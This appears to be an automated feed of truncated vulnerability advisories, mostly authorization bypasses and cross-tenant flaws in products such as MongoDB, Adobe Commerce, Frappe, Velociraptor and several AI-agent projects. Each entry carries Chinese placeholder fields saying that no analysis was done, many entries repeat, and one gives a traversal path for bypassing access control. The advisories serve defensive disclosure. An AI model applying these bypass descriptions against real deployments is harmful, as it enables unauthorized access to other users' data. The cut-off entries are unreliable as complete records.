Admidio is an open-source user management solution. Prior to version 5.0.10, `modules/documents-files.php` mode `file_rename_save` shares the same root-cause shape as the cross-folder move bug (`05-documents-cross-folder-move-idor.md`): the top-level rights check at lines 79-89 validates `hasUploadRight()` on the URL parameter `folder_uuid`, but the rename operation acts on `file_uuid` — a separat
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Admidio is an open-source user management solution. `modules/categories.php` checks that the supplied `type` parameter (`ANN`, `EVT`, `ROL`, `USF`, …) corresponds to a module the actor administers. The follow-up "is this specific category editable by me" check at lines 56-61 is dead code because it compares `$getType` (a category-type code) against mode names (`edit`/`save`/`delete`); the conditio
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The hunt_delete() VQL function allows deleting hunts. Velociraptor misapplied the permission check requiring only COLLECT_CLIENT (usually assigned to the "investigator" role) instead of the "DELETE_RESULTS" permission (usually only assigned to "administrators").
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Cookie Consent WordPress plugin before 0.0.10 does not correctly enforce its intended administrator-only capability check on the REST route that stores its geolocation service license key, so the route falls back to an authentication-only gate, allowing any authenticated user such as a subscriber to overwrite the stored key and disrupt the Cookie Consent WordPress plugin before 0.0.10's geol
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Cookie Consent WordPress plugin before 0.0.10 does not correctly enforce its intended administrator-only capability check on its consent-settings REST routes, so they fall back to an authentication-only gate, allowing any authenticated user such as a subscriber to update the Cookie Consent WordPress plugin before 0.0.10's consent settings and, on sites connected to the vendor's paid plan, re
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A flaw was found in FreeIPA. The trust-fetch-domains command is gated by a read-only permission on the trust object rather than a trust-administration permission, allowing an authenticated, non-privileged IPA user to trigger a privileged Active Directory trust refresh using an attacker-supplied server and credentials, resulting in unauthorized, attacker-controlled modification of trusted-domain an
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue in MongoDB Server's Queryable Encryption maintenance operations could allow an authenticated user with privileges on one encrypted collection to cause unauthorized modification or destruction of data belonging to a different collection. This is due to insufficient validation of certain internal metadata references before they are used to perform operations on other namespaces.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue in MongoDB Server could allow an authenticated user with a limited database-scoped role to perform an action against protected system collections that should require more specific privileges. This could result in exposure of collection metadata and, on certain deployment configurations, unauthorized modification of system collection data.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue in MongoDB Server could allow a party with a valid client certificate and a corresponding user account to authenticate using a certificate-based authentication method, even when an administrator has configured the server to restrict authentication to other mechanisms. This could allow authentication through a method the administrator intended to disable.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue in MongoDB Server's applyOps command could allow an authenticated user with specific non-default privileges to perform certain data-definition operations, such as dropping or modifying collections, against collections they do not have permission to manipulate. This is due to an inconsistency in how the target collection is determined between the authorization check and the actual operatio
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue in MongoDB Server could allow an authenticated user with a limited database-scoped role to perform an action against protected system collections that their assigned privileges should not permit. This could result in critical system collections being dropped and recreated without proper authorization.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Malcolm is a network traffic analysis tool suite. Prior to version 26.07.0, role-based access control enforced in the Nginx OpenResty Lua layer evaluates the raw, unnormalized `ngx.var.request_uri`, while Nginx itself routes requests using the normalized path. An authenticated low-privilege user can prepend a traversal segment (for example `/x/../upload/...`) so that Nginx routes the request to a
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A flaw was found in FreeIPA. The trust-fetch-domains command is gated by a read-only permission on the trust object rather than a trust-administration permission, allowing an authenticated, non-privileged IPA user to trigger a privileged Active Directory trust refresh using an attacker-supplied server and credentials, resulting in unauthorized, attacker-controlled modification of trusted-domain an
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Malcolm is a network traffic analysis tool suite. Prior to version 26.07.0, role-based access control enforced in the Nginx OpenResty Lua layer evaluates the raw, unnormalized `ngx.var.request_uri`, while Nginx itself routes requests using the normalized path. An authenticated low-privilege user can prepend a traversal segment (for example `/x/../upload/...`) so that Nginx routes the request to a
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
CVAT is an open source interactive video and image annotation tool for computer vision. From 2.17.0 until 2.72.0, a user with the Worker role can use predictable task-based request IDs with the lambda request retrieve and destroy endpoints to view automatic annotation requests for tasks or jobs the user cannot access and cancel requests initiated by other users. This issue is fixed in version 2.72
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue in MongoDB Server's Queryable Encryption maintenance operations could allow an authenticated user with privileges on one encrypted collection to cause unauthorized modification or destruction of data belonging to a different collection. This is due to insufficient validation of certain internal metadata references before they are used to perform operations on other namespaces.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue in MongoDB Server could allow a party with a valid client certificate and a corresponding user account to authenticate using a certificate-based authentication method, even when an administrator has configured the server to restrict authentication to other mechanisms. This could allow authentication through a method the administrator intended to disable.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue in MongoDB Server could allow an authenticated user with a limited database-scoped role to perform an action against protected system collections that should require more specific privileges. This could result in exposure of collection metadata and, on certain deployment configurations, unauthorized modification of system collection data.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue in MongoDB Server's applyOps command could allow an authenticated user with specific non-default privileges to perform certain data-definition operations, such as dropping or modifying collections, against collections they do not have permission to manipulate. This is due to an inconsistency in how the target collection is determined between the authorization check and the actual operatio
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
An issue in MongoDB Server could allow an authenticated user with a limited database-scoped role to perform an action against protected system collections that their assigned privileges should not permit. This could result in critical system collections being dropped and recreated without proper authorization.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Coturn is a free open source implementation of TURN and STUN Server. Prior to 4.16.0, addr_less_eq() in src/client/ns_turn_ioaddr.c uses a component-wise comparison for native IPv6 min-max intervals in ioa_addr_in_range(), allowing an authenticated TURN client to relay to an IPv6 peer that is numerically within a configured non-prefix-aligned denied-peer-ip range but is classified as outside it. T
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
PeerTube is an ActivityPub-federated video streaming platform. Prior to 8.2.2, processUpdateActivity and processUpdateVideo accept an ActivityPub Update containing a Video object without verifying that byActor.url is authorized for the host in videoObject.id, allowing a malicious federated server to rewrite another server's video metadata, visibility, media file, and HLS URLs. This issue is fixed
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Campaign Classic (ACC) is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain elevated access to sensitive resources. Exploitation of this issue does not require user interaction.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Lightroom Classic is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploit depends on conditions beyond the attacker's control. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Scope is chan
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read access. Exploitation of this issue does not require user interaction.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and write access, causing a limited disruption to availability. Exploitation of this issue does not require user interaction.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker with high privileges could exploit this vulnerability to gain elevated access to restricted resources. Exploitation of this issue does not require user interaction.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Commerce is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker with high privileges could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Campaign Classic (ACC) is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. The vulnerable component is restricted to an administrative network zone by default. Exploitation of this issue does not require user interaction.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized read and write access, potentially resulting in an application denial-of-service condition. The vulnerable component is restricted to an administrative network zone by default. Exploitation of this is
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
is affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain limited unauthorized read and write access, causing a limited disruption to availability. Exploitation of this issue does not require user interaction.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Microsoft Office SharePoint allows an authorized attacker to perform tampering over a network.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in .NET Framework allows an authorized attacker to elevate privileges over a network.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Windows Container Isolation FS Filter Driver (unionfs.sys) allows an authorized attacker to disclose information locally.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Windows Installer allows an authorized attacker to elevate privileges locally.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
ColdFusion is affected by an Incorrect Authorization vulnerability that could result in an application denial-of-service. A low-privileged attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain unauthorized read and write access. Exploitation of this issue does not require user interaction.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
SeaweedFS is a distributed storage system. Prior to 4.24, the weed/server/filer_server_handlers.go allowed_prefixes authorization check used strings.HasPrefix on raw path strings, so a filer JWT scoped to /tenant1 also authorized sibling paths such as /tenant1234, /tenant1-old, and /tenant1backup, enabling cross-tenant reads and writes with a valid scoped token. This issue is fixed in version 4.24
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Velociraptor's VQL has a query() plugin which allows running a VQL query in a different org or user context. To be able to run as a different user, the calling user needs to have the IMPERSONATE permission (usually only given to administrators). Velociraptor versions prior to 0.77.2 evaluate this permission against the caller's org instead of against the target org. This allows an administrator i
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Craft CMS 5.0.0-RC1 through 5.10.5 contains an incorrect authorization vulnerability. A control-panel user holding only the viewCategories permission (without saveCategories) for a category group can permanently modify that group's category structure — reordering and re-parenting categories — via the structures/move-element action. The structureEditable flag is computed from the view permission ra
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
n8n versions before 2.32.1 fail to enforce the Allowed HTTP Request Domains allowlist in multiple AI and LLM nodes when user-supplied base or endpoint URLs are configured. Low-privileged workflow editors with use-only access to shared credentials can redirect requests to attacker-controlled hosts and exfiltrate credential secrets for reuse against underlying services.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
CommServe contained an authorization bypass vulnerability affecting a limited set of command execution operations. Software customers upgrade to resolved maintenance release. Update all Commvault installations, including Commserve, Webserver, Command Center, Media Agents, Clients and HyperScale X.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
CommServe contained an allowlist bypass vulnerability affecting command execution authorization. Software customers upgrade to resolved maintenance release. Update all Commvault installations, including Commserve, Webserver, Command Center, Media Agents, Clients and HyperScale X.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Missing authorization check in the upload_azure, upload_sftp, and upload_smb VQL plugins allows an authenticated analyst-role user can initiate attacker-controlled outbound network connections from the Velociraptor server, bypassing the NETWORK ACL permission boundary. This enables internal network reconnaissance via port oracle and potential data exfiltration to external endpoints.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In affected TP-Link Aginet devices, insufficient authorization validation allows authenticated low-privileged users to execute higher-privileged operations. An attacker may perform administrative actions such as creating privileged accounts or modifying critical configuration settings.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
In affected TP-Link Aginet devices, insufficient authorization validation allows authenticated low-privileged users to execute higher-privileged operations. An attacker may perform administrative actions such as creating privileged accounts or modifying critical configuration settings.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cachet through 2.4.1 contains a server-side template injection vulnerability in incident template rendering that allows authenticated users to execute arbitrary PHP code. Attackers can create malicious incident templates with Blade directives or Twig filters that execute system commands when incidents are created, achieving remote code execution as the web server process.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Dokploy is a free, self-hostable Platform as a Service (PaaS). From 0.29.2 until 0.29.13, schedule.create and schedule.update in apps/dokploy/server/api/routers/schedule.ts derive serviceId from applicationId or composeId and execute the owner/admin host-schedule gate only in the alternative branch, allowing a member with access to one application to attach its applicationId to a dokploy-server sc
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Cachet through 2.4.1 contains a server-side template injection vulnerability in incident template rendering that allows authenticated users to execute arbitrary PHP code. Attackers can create malicious incident templates with Blade directives or Twig filters that execute system commands when incidents are created, achieving remote code execution as the web server process.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Vault’s ACL policy engine did not consistently enforce a wildcard (glob) deny rule against LIST requests made with a trailing slash on the denied path. This may allow a token holding a broader allow rule alongside a narrower wildcard deny rule to enumerate the names of entries beneath a path it was intended to be denied access to. This vulnerability (CVE-2026-12624) is fixed in Vault Community Edi
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Samsung Health prior to version 7.0.0 allows local attackers to access sensitive information.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Incorrect authorization in Samsung Health prior to version 7.0.0 allows local attackers to access sensitive information.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability has been found in Dolibarr ERP up to 23.0.3. Affected is the function fail of the file htdocs/takepos/invoice.php of the component TakePOS Module. Such manipulation leads to missing authorization. The attack may be performed from remote. The name of the patch is 8992ce8704da947b6abe7b65a6fe59aed736bb81. It is advisable to implement a patch to correct this issue.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability was found in code-projects Task Management System 1.0. This affects an unknown part of the file /user/UpdateTaskStatus.php. The manipulation of the argument task_id/val results in missing authorization. It is possible to launch the attack remotely. The exploit has been made public and could be used.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenBao is an open source identity-based secrets management system. Prior to version 2.5.4, OpenBao's namespaces provide multi-tenant separation. A tenant who intentionally leaks lease identifiers can have their lease and underlying credential revoked or renewed by a user in another tenant via the legacy, undocumented `sys/revoke` and `sys/renew` endpoints. This is fixed in OpenBao v2.5.4.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Genuine Software Integrity Service was affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could have leveraged this vulnerability to bypass security measures and gain unauthorized limited write access. Exploitation of this issue did not require user interaction, but required the attacker to have access to the local environment the
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Adobe Genuine Software Integrity Service was affected by an Incorrect Authorization vulnerability that could result in a Security feature bypass. An attacker could have leveraged this vulnerability to bypass security measures and gain unauthorized limited write access. Exploitation of this issue did not require user interaction, but required the attacker to have access to the local environment the
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Frappe is a full-stack web application framework. Prior to 16.23.0 and 15.112.0, Document Follow notification generation does not re-evaluate the recipient's current document permissions, allowing users whose access was revoked or reduced to continue receiving document data by email. This issue is fixed in versions 16.23.0 and 15.112.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Nexus Repository 3 CE/Pro versions 3.0.0 through 3.94.x contain an incorrect authorization vulnerability (CWE-863) in the repository-creation user interface. An individual user account holding a delegated repository-admin privilege scoped to a specific repository format could create a repository of a different, unauthorized format, because authorization was checked against one request field while
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Nexus Repository 3 CE/Pro versions 3.0.0 through 3.94.x contain an incorrect authorization vulnerability (CWE-863) in the repository-creation user interface. An individual user account holding a delegated repository-admin privilege scoped to a specific repository format could create a repository of a different, unauthorized format, because authorization was checked against one request field while
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Frappe is a full-stack web application framework. Prior to 16.20.0 and 15.112.0, a field-level permissions bypass exposes restricted DocType fields. This issue is fixed in versions 16.23.0 and 15.112.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A lack of tenant separation in SuperTokens Inc. SuperTokens Core v6.0.0 to v11.4.0 allows an authenticated party in one tenant to access sessions, data, and endpoints of another tenant.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Frappe is a full-stack web application framework. Prior to 16.20.0 and 15.112.0, a field-level permissions bypass exposes restricted DocType fields. This issue is fixed in versions 16.23.0 and 15.112.0.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A lack of tenant separation in SuperTokens Inc. SuperTokens Core v6.0.0 to v11.4.0 allows an authenticated party in one tenant to access sessions, data, and endpoints of another tenant.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A flaw was found in udisks2. A local attacker with an active console session can exploit insufficient authorization checking on the 'as-user' option in the org.freedesktop.UDisks2.Filesystem.Mount() D-Bus method. This allows the attacker to spoof the 'as-user' parameter, mounting filesystems on behalf of arbitrary users, including privileged accounts. This can lead to local privilege escalation th
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
LangGraph Checkpoint Postgres and SQLite Checkpoint are the Postgres and SQLite implementations of LangGraph's checkpoint saver. Prior to 3.1.1, the langgraph-checkpoint-postgres and langgraph-checkpoint-sqlite packages persisted hierarchical namespaces as a dot joined string and scoped reads by matching that string as a simple prefix pattern, so a read scoped to one namespace could also match a s
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Traefik is an open-source edge router that makes publishing services a fun and easy experience. Prior to 2.11.54, 3.6.25, and 3.7.10, cross-namespace @kubernetescrd references are not rejected for TraefikService backend references resolved by the service resolver. A tenant confined by RBAC to a single namespace can therefore bind its own router to a TraefikService owned by another namespace and ex
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. The new-client booking flow in versions 1.0.1 and prior consists of three calls: `bootstrap-challenge` (returns a 16-bit PoW challenge with `difficulty=4` leading hex zeroes), `bootstrap-verify` (validates the PoW and issues a Bearer booking access token), and `create-new-client` (consumes t
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. Prior to version 1.0.6, when a TENANT_ADMIN deletes an existing staff user, the underlying `StaffService.deleteStaffMember()` runs an additional invite cleanup that deletes from the central `user_invite` table by email. The `email` clause has no `tenantId` predicate. Any pending invite in an
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Frappe is a full-stack web application framework. Prior to 16.18.0, the Workspace Save API accepts a controlled workspace identifier from any authenticated user without enforcing workspace ownership, allowing modification of another user's private workspace and persistent script injection. This issue is fixed in version 16.18.0.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Decidim is a participatory democracy framework. Prior to 0.31.5 and in 0.32.0.rc1 before 0.32.0.rc2, JWT-backed API authentication is not bound to the organization selected by the current host, allowing a JWT issued for one tenant to be replayed against another tenant’s API to read participantDetails data and reach the proposal.answer mutation path. This issue is fixed in versions 0.31.5 and 0.32.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
The Passster WordPress plugin before 4.3.7 does not restrict low-privilege users holding the edit_posts capability from reading globally password-protected content through the WordPress core REST API when global protection is enabled, allowing any Contributor or higher to read the content of protected pages and posts without knowing the password.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Frappe is a full-stack web application framework. Prior to 16.18.0, the Workspace Save API accepts a controlled workspace identifier from any authenticated user without enforcing workspace ownership, allowing modification of another user's private workspace and persistent script injection. This issue is fixed in version 16.18.0.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. The new-client booking flow in versions 1.0.1 and prior consists of three calls: `bootstrap-challenge` (returns a 16-bit PoW challenge with `difficulty=4` leading hex zeroes), `bootstrap-verify` (validates the PoW and issues a Bearer booking access token), and `create-new-client` (consumes t
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. Prior to version 1.0.6, when a TENANT_ADMIN deletes an existing staff user, the underlying `StaffService.deleteStaffMember()` runs an additional invite cleanup that deletes from the central `user_invite` table by email. The `email` clause has no `tenantId` predicate. Any pending invite in an
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Decidim is a participatory democracy framework. Prior to 0.31.5 and in 0.32.0.rc1 before 0.32.0.rc2, JWT-backed API authentication is not bound to the organization selected by the current host, allowing a JWT issued for one tenant to be replayed against another tenant’s API to read participantDetails data and reach the proposal.answer mutation path. This issue is fixed in versions 0.31.5 and 0.32.
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
LangGraph Checkpoint Postgres and SQLite Checkpoint are the Postgres and SQLite implementations of LangGraph's checkpoint saver. Prior to 3.1.1, the langgraph-checkpoint-postgres and langgraph-checkpoint-sqlite packages persisted hierarchical namespaces as a dot joined string and scoped reads by matching that string as a simple prefix pattern, so a read scoped to one namespace could also match a s
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Traefik is an open-source edge router that makes publishing services a fun and easy experience. Prior to 2.11.54, 3.6.25, and 3.7.10, cross-namespace @kubernetescrd references are not rejected for TraefikService backend references resolved by the service resolver. A tenant confined by RBAC to a single namespace can therefore bind its own router to a TraefikService owned by another namespace and ex
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Apache Polaris did not consistently validate storage locations supplied during table and view registration. An authenticated principal with permission to register a table or view could, depending on the affected release and registration path, cause Polaris to use the catalog's storage credentials to read a caller-selected Iceberg metadata file before verifying that the file was within the catalog
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security vulnerability has been detected in TinyAGI 0.0.20. Impacted is the function processMessage of the file packages/main/src/index.ts of the component Message API Endpoint. Such manipulation leads to missing authorization. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but ha
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability was found in mf-yang openclaw-cn 2026.2.5. This affects an unknown part of the file src/agents/bash-tools.exec.ts of the component Ggateway Exec Approval Flow. The manipulation results in incorrect authorization. The attack may be performed from remote. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A security vulnerability has been detected in TinyAGI 0.0.20. Impacted is the function processMessage of the file packages/main/src/index.ts of the component Message API Endpoint. Such manipulation leads to missing authorization. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but ha
💡 风险点: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability was found in cosmicstack-labs mercury-agent up to 1.1.12. This issue affects the function Agent.handleBgCommand of the file src/core/agent.ts of the component bg Command Handler. Performing a manipulation results in incorrect authorization. It is possible to initiate the attack remotely. The exploit has been made public and could be used. The project was informed of the problem ear
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
A vulnerability was detected in zhayujie CowAgent up to 2.1.1. This vulnerability affects the function _select_tools of the file agent/evolution/executor.py of the component Self-Evolution Review Agent. Performing a manipulation results in incorrect authorization. The attack is possible to be carried out remotely. The exploit is now public and may be used.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Open Library Foundation VuFind v11.0.3 and v4.1 is vulnerable to toInorrect Access Control. The application fails to stop processing an incoming request in VuFind\Controller\AbstractBase::validateAccessPermission after it has found that controller level access permissions do not allow access to the requested function. The requester receives a response indicating that access was denied, but the act
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
Nuxt is an open-source web development framework for Vue.js. From 3.21.7 until 3.21.10 and 4.5.1, mixed-case routeRules keys can fail to match case-folded lookups when router.options.sensitive is false and drop appMiddleware authorization gates. This is caused by an incomplete fix for CVE-2026-53721. This issue is fixed in 3.21.10 and 4.5.1.
💡 影响/原因: 原文内容（由于配额限制，未进行深度 LLM 分析）
🎯 建议动作: 建议根据原文自行评估
